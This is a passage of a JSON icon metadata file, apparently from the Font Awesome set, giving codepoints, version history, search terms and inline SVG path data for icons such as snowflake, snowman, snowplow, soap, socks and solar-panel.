      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496.926,366.6c-3.373-9.176-9.8-14.086-17.112-18.153-1.376-.806-2.641-1.451-3.72-1.947-2.182-1.128-4.414-2.22-6.634-3.373-22.8-12.09-40.609-27.341-52.959-45.42a102.889,102.889,0,0,1-9.089-16.12c-1.054-3.013-1-4.724-.248-6.287a10.221,10.221,0,0,1,2.914-3.038c3.918-2.591,7.96-5.22,10.7-6.993,4.885-3.162,8.754-5.667,11.246-7.44,9.362-6.547,15.909-13.5,20-21.278a42.371,42.371,0,0,0,2.1-35.191c-6.2-16.318-21.613-26.449-40.287-26.449a55.543,55.543,0,0,0-11.718,1.24c-1.029.224-2.059.459-3.063.72.174-11.16-.074-22.94-1.066-34.534-3.522-40.758-17.794-62.123-32.674-79.16A130.167,130.167,0,0,0,332.1,36.443C309.515,23.547,283.91,17,256,17S202.6,23.547,180,36.443a129.735,129.735,0,0,0-33.281,26.783c-14.88,17.038-29.152,38.44-32.673,79.161-.992,11.594-1.24,23.435-1.079,34.533-1-.26-2.021-.5-3.051-.719a55.461,55.461,0,0,0-11.717-1.24c-18.687,0-34.125,10.131-40.3,26.449a42.423,42.423,0,0,0,2.046,35.228c4.105,7.774,10.652,14.731,20.014,21.278,2.48,1.736,6.361,4.24,11.246,7.44,2.641,1.711,6.5,4.216,10.28,6.72a11.054,11.054,0,0,1,3.3,3.311c.794,1.624.818,3.373-.36,6.6a102.02,102.02,0,0,1-8.94,15.785c-12.077,17.669-29.363,32.648-51.434,44.639C32.355,348.608,20.2,352.75,15.069,366.7c-3.868,10.528-1.339,22.506,8.494,32.6a49.137,49.137,0,0,0,12.4,9.387,134.337,134.337,0,0,0,30.342,12.139,20.024,20.024,0,0,1,6.126,2.741c3.583,3.137,3.075,7.861,7.849,14.78a34.468,34.468,0,0,0,8.977,9.127c10.019,6.919,21.278,7.353,33.207,7.811,10.776.41,22.989.881,36.939,5.481,5.778,1.91,11.78,5.605,18.736,9.92C194.842,480.951,217.707,495,255.973,495s61.292-14.123,78.118-24.428c6.907-4.24,12.872-7.9,18.489-9.758,13.949-4.613,26.163-5.072,36.939-5.481,11.928-.459,23.187-.893,33.206-7.812a34.584,34.584,0,0,0,10.218-11.16c3.434-5.84,3.348-9.919,6.572-12.771a18.971,18.971,0,0,1,5.753-2.629A134.893,134.893,0,0,0,476.02,408.71a48.344,48.344,0,0,0,13.019-10.193l.124-.149C498.389,388.5,500.708,376.867,496.926,366.6Zm-34.013,18.277c-20.745,11.458-34.533,10.23-45.259,17.137-9.114,5.865-3.72,18.513-10.342,23.076-8.134,5.617-32.177-.4-63.239,9.858-25.618,8.469-41.961,32.822-88.038,32.822s-62.036-24.3-88.076-32.884c-31-10.255-55.092-4.241-63.239-9.858-6.609-4.563-1.24-17.211-10.341-23.076-10.739-6.907-24.527-5.679-45.26-17.075-13.206-7.291-5.716-11.8-1.314-13.937,75.143-36.381,87.133-92.552,87.666-96.719.645-5.046,1.364-9.014-4.191-14.148-5.369-4.96-29.189-19.7-35.8-24.316-10.937-7.638-15.748-15.264-12.2-24.638,2.48-6.485,8.531-8.928,14.879-8.928a27.643,27.643,0,0,1,5.965.67c12,2.6,23.659,8.617,30.392,10.242a10.749,10.749,0,0,0,2.48.335c3.6,0,4.86-1.811,4.612-5.927-.768-13.132-2.628-38.725-.558-62.644,2.84-32.909,13.442-49.215,26.04-63.636,6.051-6.932,34.484-36.976,88.857-36.976s82.88,29.92,88.931,36.827c12.611,14.421,23.225,30.727,26.04,63.636,2.071,23.919.285,49.525-.558,62.644-.285,4.327,1.017,5.927,4.613,5.927a10.648,10.648,0,0,0,2.48-.335c6.745-1.624,18.4-7.638,30.4-10.242a27.641,27.641,0,0,1,5.964-.67c6.386,0,12.4,2.48,14.88,8.928,3.546,9.374-1.24,17-12.189,24.639-6.609,4.612-30.429,19.343-35.8,24.315-5.568,5.134-4.836,9.1-4.191,14.149.533,4.228,12.511,60.4,87.666,96.718C468.629,373.011,476.119,377.524,462.913,384.877Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M496.926,366.6c-3.373-9.176-9.8-14.086-17.112-18.153-1.376-.806-2.641-1.451-3.72-1.947-2.182-1.128-4.414-2.22-6.634-3.373-22.8-12.09-40.609-27.341-52.959-45.42a102.889,102.889,0,0,1-9.089-16.12c-1.054-3.013-1-4.724-.248-6.287a10.221,10.221,0,0,1,2.914-3.038c3.918-2.591,7.96-5.22,10.7-6.993,4.885-3.162,8.754-5.667,11.246-7.44,9.362-6.547,15.909-13.5,20-21.278a42.371,42.371,0,0,0,2.1-35.191c-6.2-16.318-21.613-26.449-40.287-26.449a55.543,55.543,0,0,0-11.718,1.24c-1.029.224-2.059.459-3.063.72.174-11.16-.074-22.94-1.066-34.534-3.522-40.758-17.794-62.123-32.674-79.16A130.167,130.167,0,0,0,332.1,36.443C309.515,23.547,283.91,17,256,17S202.6,23.547,180,36.443a129.735,129.735,0,0,0-33.281,26.783c-14.88,17.038-29.152,38.44-32.673,79.161-.992,11.594-1.24,23.435-1.079,34.533-1-.26-2.021-.5-3.051-.719a55.461,55.461,0,0,0-11.717-1.24c-18.687,0-34.125,10.131-40.3,26.449a42.423,42.423,0,0,0,2.046,35.228c4.105,7.774,10.652,14.731,20.014,21.278,2.48,1.736,6.361,4.24,11.246,7.44,2.641,1.711,6.5,4.216,10.28,6.72a11.054,11.054,0,0,1,3.3,3.311c.794,1.624.818,3.373-.36,6.6a102.02,102.02,0,0,1-8.94,15.785c-12.077,17.669-29.363,32.648-51.434,44.639C32.355,348.608,20.2,352.75,15.069,366.7c-3.868,10.528-1.339,22.506,8.494,32.6a49.137,49.137,0,0,0,12.4,9.387,134.337,134.337,0,0,0,30.342,12.139,20.024,20.024,0,0,1,6.126,2.741c3.583,3.137,3.075,7.861,7.849,14.78a34.468,34.468,0,0,0,8.977,9.127c10.019,6.919,21.278,7.353,33.207,7.811,10.776.41,22.989.881,36.939,5.481,5.778,1.91,11.78,5.605,18.736,9.92C194.842,480.951,217.707,495,255.973,495s61.292-14.123,78.118-24.428c6.907-4.24,12.872-7.9,18.489-9.758,13.949-4.613,26.163-5.072,36.939-5.481,11.928-.459,23.187-.893,33.206-7.812a34.584,34.584,0,0,0,10.218-11.16c3.434-5.84,3.348-9.919,6.572-12.771a18.971,18.971,0,0,1,5.753-2.629A134.893,134.893,0,0,0,476.02,408.71a48.344,48.344,0,0,0,13.019-10.193l.124-.149C498.389,388.5,500.708,376.867,496.926,366.6Zm-34.013,18.277c-20.745,11.458-34.533,10.23-45.259,17.137-9.114,5.865-3.72,18.513-10.342,23.076-8.134,5.617-32.177-.4-63.239,9.858-25.618,8.469-41.961,32.822-88.038,32.822s-62.036-24.3-88.076-32.884c-31-10.255-55.092-4.241-63.239-9.858-6.609-4.563-1.24-17.211-10.341-23.076-10.739-6.907-24.527-5.679-45.26-17.075-13.206-7.291-5.716-11.8-1.314-13.937,75.143-36.381,87.133-92.552,87.666-96.719.645-5.046,1.364-9.014-4.191-14.148-5.369-4.96-29.189-19.7-35.8-24.316-10.937-7.638-15.748-15.264-12.2-24.638,2.48-6.485,8.531-8.928,14.879-8.928a27.643,27.643,0,0,1,5.965.67c12,2.6,23.659,8.617,30.392,10.242a10.749,10.749,0,0,0,2.48.335c3.6,0,4.86-1.811,4.612-5.927-.768-13.132-2.628-38.725-.558-62.644,2.84-32.909,13.442-49.215,26.04-63.636,6.051-6.932,34.484-36.976,88.857-36.976s82.88,29.92,88.931,36.827c12.611,14.421,23.225,30.727,26.04,63.636,2.071,23.919.285,49.525-.558,62.644-.285,4.327,1.017,5.927,4.613,5.927a10.648,10.648,0,0,0,2.48-.335c6.745-1.624,18.4-7.638,30.4-10.242a27.641,27.641,0,0,1,5.964-.67c6.386,0,12.4,2.48,14.88,8.928,3.546,9.374-1.24,17-12.189,24.639-6.609,4.612-30.429,19.343-35.8,24.315-5.568,5.134-4.836,9.1-4.191,14.149.533,4.228,12.511,60.4,87.666,96.718C468.629,373.011,476.119,377.524,462.913,384.877Z"
      }
    },
    "free": ["brands"]
  },
  "snowflake": {
    "aliases": {
      "unicodes": {
        "composite": ["2744", "2746"],
        "secondary": ["10f2dc"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.5.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Heavy Chevron Snowflake",
        "cold",
        "precipitation",
        "rain",
        "snow",
        "snowfall",
        "snowflake",
        "winter"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2dc",
    "label": "Snowflake",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0c17.7 0 32 14.3 32 32V62.1l15-15c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-49 49v70.3l61.4-35.8 17.7-66.1c3.4-12.8 16.6-20.4 29.4-17s20.4 16.6 17 29.4l-5.2 19.3 23.6-13.8c15.3-8.9 34.9-3.7 43.8 11.5s3.8 34.9-11.5 43.8l-25.3 14.8 21.7 5.8c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17l-67.7-18.1L287.5 256l60.9 35.5 67.7-18.1c12.8-3.4 26 4.2 29.4 17s-4.2 26-17 29.4l-21.7 5.8 25.3 14.8c15.3 8.9 20.4 28.5 11.5 43.8s-28.5 20.4-43.8 11.5l-23.6-13.8 5.2 19.3c3.4 12.8-4.2 26-17 29.4s-26-4.2-29.4-17l-17.7-66.1L256 311.7v70.3l49 49c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-15-15V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V449.9l-15 15c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l49-49V311.7l-61.4 35.8-17.7 66.1c-3.4 12.8-16.6 20.4-29.4 17s-20.4-16.6-17-29.4l5.2-19.3L48.1 395.6c-15.3 8.9-34.9 3.7-43.8-11.5s-3.7-34.9 11.5-43.8l25.3-14.8-21.7-5.8c-12.8-3.4-20.4-16.6-17-29.4s16.6-20.4 29.4-17l67.7 18.1L160.5 256 99.6 220.5 31.9 238.6c-12.8 3.4-26-4.2-29.4-17s4.2-26 17-29.4l21.7-5.8L15.9 171.6C.6 162.7-4.5 143.1 4.4 127.9s28.5-20.4 43.8-11.5l23.6 13.8-5.2-19.3c-3.4-12.8 4.2-26 17-29.4s26 4.2 29.4 17l17.7 66.1L192 200.3V129.9L143 81c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l15 15V32c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0c17.7 0 32 14.3 32 32V62.1l15-15c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-49 49v70.3l61.4-35.8 17.7-66.1c3.4-12.8 16.6-20.4 29.4-17s20.4 16.6 17 29.4l-5.2 19.3 23.6-13.8c15.3-8.9 34.9-3.7 43.8 11.5s3.8 34.9-11.5 43.8l-25.3 14.8 21.7 5.8c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17l-67.7-18.1L287.5 256l60.9 35.5 67.7-18.1c12.8-3.4 26 4.2 29.4 17s-4.2 26-17 29.4l-21.7 5.8 25.3 14.8c15.3 8.9 20.4 28.5 11.5 43.8s-28.5 20.4-43.8 11.5l-23.6-13.8 5.2 19.3c3.4 12.8-4.2 26-17 29.4s-26-4.2-29.4-17l-17.7-66.1L256 311.7v70.3l49 49c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-15-15V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V449.9l-15 15c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l49-49V311.7l-61.4 35.8-17.7 66.1c-3.4 12.8-16.6 20.4-29.4 17s-20.4-16.6-17-29.4l5.2-19.3L48.1 395.6c-15.3 8.9-34.9 3.7-43.8-11.5s-3.7-34.9 11.5-43.8l25.3-14.8-21.7-5.8c-12.8-3.4-20.4-16.6-17-29.4s16.6-20.4 29.4-17l67.7 18.1L160.5 256 99.6 220.5 31.9 238.6c-12.8 3.4-26-4.2-29.4-17s4.2-26 17-29.4l21.7-5.8L15.9 171.6C.6 162.7-4.5 143.1 4.4 127.9s28.5-20.4 43.8-11.5l23.6 13.8-5.2-19.3c-3.4-12.8 4.2-26 17-29.4s26 4.2 29.4 17l17.7 66.1L192 200.3V129.9L143 81c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l15 15V32c0-17.7 14.3-32 32-32z"
      },
      "regular": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0c13.3 0 24 10.7 24 24V70.1l23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-57 57v76.5l66.2-38.2 20.9-77.8c3.4-12.8 16.6-20.4 29.4-17s20.4 16.6 17 29.4L373 142.2l37.1-21.4c11.5-6.6 26.2-2.7 32.8 8.8s2.7 26.2-8.8 32.8L397 183.8l31.5 8.4c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17l-77.8-20.9L272 256l66.2 38.2 77.8-20.9c12.8-3.4 26 4.2 29.4 17s-4.2 26-17 29.4L397 328.2l37.1 21.4c11.5 6.6 15.4 21.3 8.8 32.8s-21.3 15.4-32.8 8.8L373 369.8l8.4 31.5c3.4 12.8-4.2 26-17 29.4s-26-4.2-29.4-17l-20.9-77.8L248 297.6v76.5l57 57c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V441.9l-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l57-57V297.6l-66.2 38.2-20.9 77.8c-3.4 12.8-16.6 20.4-29.4 17s-20.4-16.6-17-29.4L75 369.8 37.9 391.2c-11.5 6.6-26.2 2.7-32.8-8.8s-2.7-26.2 8.8-32.8L51 328.2l-31.5-8.4c-12.8-3.4-20.4-16.6-17-29.4s16.6-20.4 29.4-17l77.8 20.9L176 256l-66.2-38.2L31.9 238.6c-12.8 3.4-26-4.2-29.4-17s4.2-26 17-29.4L51 183.8 13.9 162.4c-11.5-6.6-15.4-21.3-8.8-32.8s21.3-15.4 32.8-8.8L75 142.2l-8.4-31.5c-3.4-12.8 4.2-26 17-29.4s26 4.2 29.4 17l20.9 77.8L200 214.4V137.9L143 81c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l23 23V24c0-13.3 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0c13.3 0 24 10.7 24 24V70.1l23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-57 57v76.5l66.2-38.2 20.9-77.8c3.4-12.8 16.6-20.4 29.4-17s20.4 16.6 17 29.4L373 142.2l37.1-21.4c11.5-6.6 26.2-2.7 32.8 8.8s2.7 26.2-8.8 32.8L397 183.8l31.5 8.4c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17l-77.8-20.9L272 256l66.2 38.2 77.8-20.9c12.8-3.4 26 4.2 29.4 17s-4.2 26-17 29.4L397 328.2l37.1 21.4c11.5 6.6 15.4 21.3 8.8 32.8s-21.3 15.4-32.8 8.8L373 369.8l8.4 31.5c3.4 12.8-4.2 26-17 29.4s-26-4.2-29.4-17l-20.9-77.8L248 297.6v76.5l57 57c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V441.9l-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l57-57V297.6l-66.2 38.2-20.9 77.8c-3.4 12.8-16.6 20.4-29.4 17s-20.4-16.6-17-29.4L75 369.8 37.9 391.2c-11.5 6.6-26.2 2.7-32.8-8.8s-2.7-26.2 8.8-32.8L51 328.2l-31.5-8.4c-12.8-3.4-20.4-16.6-17-29.4s16.6-20.4 29.4-17l77.8 20.9L176 256l-66.2-38.2L31.9 238.6c-12.8 3.4-26-4.2-29.4-17s4.2-26 17-29.4L51 183.8 13.9 162.4c-11.5-6.6-15.4-21.3-8.8-32.8s21.3-15.4 32.8-8.8L75 142.2l-8.4-31.5c-3.4-12.8 4.2-26 17-29.4s26 4.2 29.4 17l20.9 77.8L200 214.4V137.9L143 81c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l23 23V24c0-13.3 10.7-24 24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "snowman": {
    "aliases": {
      "unicodes": {
        "composite": ["2603", "26c4"],
        "secondary": ["10f7d0"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cold",
        "decoration",
        "frost",
        "frosty",
        "holiday",
        "snow",
        "snowman",
        "snowman without snow"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7d0",
    "label": "Snowman",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M341.1 140.6c-2 3.9-1.6 8.6 1.2 12c7 8.5 12.9 18.1 17.2 28.4L408 160.2V120c0-13.3 10.7-24 24-24s24 10.7 24 24v19.6l22.5-9.7c12.2-5.2 26.3 .4 31.5 12.6s-.4 26.3-12.6 31.5l-56 24-73.6 31.5c-.5 9.5-2.1 18.6-4.8 27.3c-1.2 3.8-.1 8 2.8 10.8C396.7 296.9 416 338.2 416 384c0 44.7-18.3 85-47.8 114.1c-9.9 9.7-23.7 13.9-37.5 13.9H181.3c-13.9 0-27.7-4.2-37.5-13.9C114.3 469 96 428.7 96 384c0-45.8 19.3-87.1 50.1-116.3c2.9-2.8 4-6.9 2.8-10.8c-2.7-8.7-4.3-17.9-4.8-27.3L70.5 198.1l-56-24C2.4 168.8-3.3 154.7 1.9 142.5s19.3-17.8 31.5-12.6L56 139.6V120c0-13.3 10.7-24 24-24s24 10.7 24 24v40.2L152.6 181c4.3-10.3 10.1-19.9 17.2-28.4c2.8-3.4 3.3-8.1 1.2-12C164 127.2 160 112.1 160 96c0-53 43-96 96-96s96 43 96 96c0 16.1-4 31.2-10.9 44.6zM224 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm48 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-16 80a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm16 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM288 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-48 24v3.2c0 3.2 .8 6.3 2.3 9l9 16.9c.9 1.7 2.7 2.8 4.7 2.8s3.8-1.1 4.7-2.8l9-16.9c1.5-2.8 2.3-5.9 2.3-9V120c0-8.8-7.2-16-16-16s-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M341.1 140.6c-2 3.9-1.6 8.6 1.2 12c7 8.5 12.9 18.1 17.2 28.4L408 160.2V120c0-13.3 10.7-24 24-24s24 10.7 24 24v19.6l22.5-9.7c12.2-5.2 26.3 .4 31.5 12.6s-.4 26.3-12.6 31.5l-56 24-73.6 31.5c-.5 9.5-2.1 18.6-4.8 27.3c-1.2 3.8-.1 8 2.8 10.8C396.7 296.9 416 338.2 416 384c0 44.7-18.3 85-47.8 114.1c-9.9 9.7-23.7 13.9-37.5 13.9H181.3c-13.9 0-27.7-4.2-37.5-13.9C114.3 469 96 428.7 96 384c0-45.8 19.3-87.1 50.1-116.3c2.9-2.8 4-6.9 2.8-10.8c-2.7-8.7-4.3-17.9-4.8-27.3L70.5 198.1l-56-24C2.4 168.8-3.3 154.7 1.9 142.5s19.3-17.8 31.5-12.6L56 139.6V120c0-13.3 10.7-24 24-24s24 10.7 24 24v40.2L152.6 181c4.3-10.3 10.1-19.9 17.2-28.4c2.8-3.4 3.3-8.1 1.2-12C164 127.2 160 112.1 160 96c0-53 43-96 96-96s96 43 96 96c0 16.1-4 31.2-10.9 44.6zM224 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm48 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-16 80a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm16 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM288 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-48 24v3.2c0 3.2 .8 6.3 2.3 9l9 16.9c.9 1.7 2.7 2.8 4.7 2.8s3.8-1.1 4.7-2.8l9-16.9c1.5-2.8 2.3-5.9 2.3-9V120c0-8.8-7.2-16-16-16s-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "snowplow": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7d2"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["clean up", "cold", "road", "storm", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f7d2",
    "label": "Snowplow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M298.9 64l68.6 160H256l-64-64V64H298.9zM445.1 242.7l-87.4-204C347.6 15.3 324.5 0 298.9 0H176c-26.5 0-48 21.5-48 48V160H96c-17.7 0-32 14.3-32 32V298.8C26.2 316.8 0 355.3 0 400c0 61.9 50.1 112 112 112H368c61.9 0 112-50.1 112-112c0-17.2-3.9-33.5-10.8-48H512v50.7c0 17 6.7 33.3 18.7 45.3l54.6 54.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L576 402.7V320 235.2L633 164c11-13.8 8.8-33.9-5-45s-33.9-8.8-45 5l-57 71.2c-9.1 11.3-14 25.4-14 40V288H448V256.7c.1-2.4-.2-4.8-.6-7.1s-1.2-4.7-2.2-6.8zM368 352c26.5 0 48 21.5 48 48s-21.5 48-48 48H112c-26.5 0-48-21.5-48-48s21.5-48 48-48H368zM144 400a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm216 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm-56-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM200 424a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M298.9 64l68.6 160H256l-64-64V64H298.9zM445.1 242.7l-87.4-204C347.6 15.3 324.5 0 298.9 0H176c-26.5 0-48 21.5-48 48V160H96c-17.7 0-32 14.3-32 32V298.8C26.2 316.8 0 355.3 0 400c0 61.9 50.1 112 112 112H368c61.9 0 112-50.1 112-112c0-17.2-3.9-33.5-10.8-48H512v50.7c0 17 6.7 33.3 18.7 45.3l54.6 54.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L576 402.7V320 235.2L633 164c11-13.8 8.8-33.9-5-45s-33.9-8.8-45 5l-57 71.2c-9.1 11.3-14 25.4-14 40V288H448V256.7c.1-2.4-.2-4.8-.6-7.1s-1.2-4.7-2.2-6.8zM368 352c26.5 0 48 21.5 48 48s-21.5 48-48 48H112c-26.5 0-48-21.5-48-48s21.5-48 48-48H368zM144 400a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm216 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm-56-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM200 424a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "soap": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9fc"],
        "secondary": ["10e06e"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bar",
        "bathing",
        "bubbles",
        "clean",
        "cleaning",
        "covid-19",
        "hygiene",
        "lather",
        "soap",
        "soapdish",
        "wash"
      ]
    },
    "styles": ["solid"],
    "unicode": "e06e",
    "label": "Soap",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM416 32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0 160c0 27.6-11.7 52.5-30.4 70.1C422.1 275.7 448 310.8 448 352c0 53-43 96-96 96H160c-53 0-96-43-96-96s43-96 96-96h88.4c-15.2-17-24.4-39.4-24.4-64H96c-53 0-96 43-96 96V416c0 53 43 96 96 96H416c53 0 96-43 96-96V288c0-53-43-96-96-96zM160 288c-35.3 0-64 28.7-64 64s28.7 64 64 64H352c35.3 0 64-28.7 64-64s-28.7-64-64-64H320 160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM416 32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0 160c0 27.6-11.7 52.5-30.4 70.1C422.1 275.7 448 310.8 448 352c0 53-43 96-96 96H160c-53 0-96-43-96-96s43-96 96-96h88.4c-15.2-17-24.4-39.4-24.4-64H96c-53 0-96 43-96 96V416c0 53 43 96 96 96H416c53 0 96-43 96-96V288c0-53-43-96-96-96zM160 288c-35.3 0-64 28.7-64 64s28.7 64 64 64H352c35.3 0 64-28.7 64-64s-28.7-64-64-64H320 160z"
      }
    },
    "free": ["solid"]
  },
  "socks": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9e6"],
        "secondary": ["10f696"]
      }
    },
    "changes": ["5.3.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "business socks",
        "business time",
        "clothing",
        "feet",
        "flight of the conchords",
        "socks",
        "stocking",
        "wednesday"
      ]
    },
    "styles": ["solid"],
    "unicode": "f696",
    "label": "Socks",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M175.2 476.6c-9.7-18-15.2-38.7-15.2-60.6c0-40.3 19-78.2 51.2-102.4l64-48c8.1-6 12.8-15.5 12.8-25.6V96H128V240c0 20.1-9.5 39.1-25.6 51.2l-64 48C14.2 357.3 0 385.8 0 416c0 53 43 96 96 96c20.8 0 41-6.7 57.6-19.2l21.6-16.2zM128 64H288V48c0-14.5 3.9-28.2 10.7-39.9C291 3 281.9 0 272 0H176c-26.5 0-48 21.5-48 48V64zM320 96V240c0 20.1-9.5 39.1-25.6 51.2l-64 48C206.2 357.3 192 385.8 192 416c0 53 43 96 96 96c20.8 0 41-6.7 57.6-19.2l115.2-86.4C493 382.2 512 344.3 512 304V96H320zM512 64V48c0-26.5-21.5-48-48-48H368c-26.5 0-48 21.5-48 48V64H512z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M175.2 476.6c-9.7-18-15.2-38.7-15.2-60.6c0-40.3 19-78.2 51.2-102.4l64-48c8.1-6 12.8-15.5 12.8-25.6V96H128V240c0 20.1-9.5 39.1-25.6 51.2l-64 48C14.2 357.3 0 385.8 0 416c0 53 43 96 96 96c20.8 0 41-6.7 57.6-19.2l21.6-16.2zM128 64H288V48c0-14.5 3.9-28.2 10.7-39.9C291 3 281.9 0 272 0H176c-26.5 0-48 21.5-48 48V64zM320 96V240c0 20.1-9.5 39.1-25.6 51.2l-64 48C206.2 357.3 192 385.8 192 416c0 53 43 96 96 96c20.8 0 41-6.7 57.6-19.2l115.2-86.4C493 382.2 512 344.3 512 304V96H320zM512 64V48c0-26.5-21.5-48-48-48H368c-26.5 0-48 21.5-48 48V64H512z"
      }
    },
    "free": ["solid"]
  },
  "solar-panel": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5ba"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clean", "eco-friendly", "energy", "green", "sun"]
    },
    "styles": ["solid"],
    "unicode": "f5ba",
    "label": "Solar Panel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
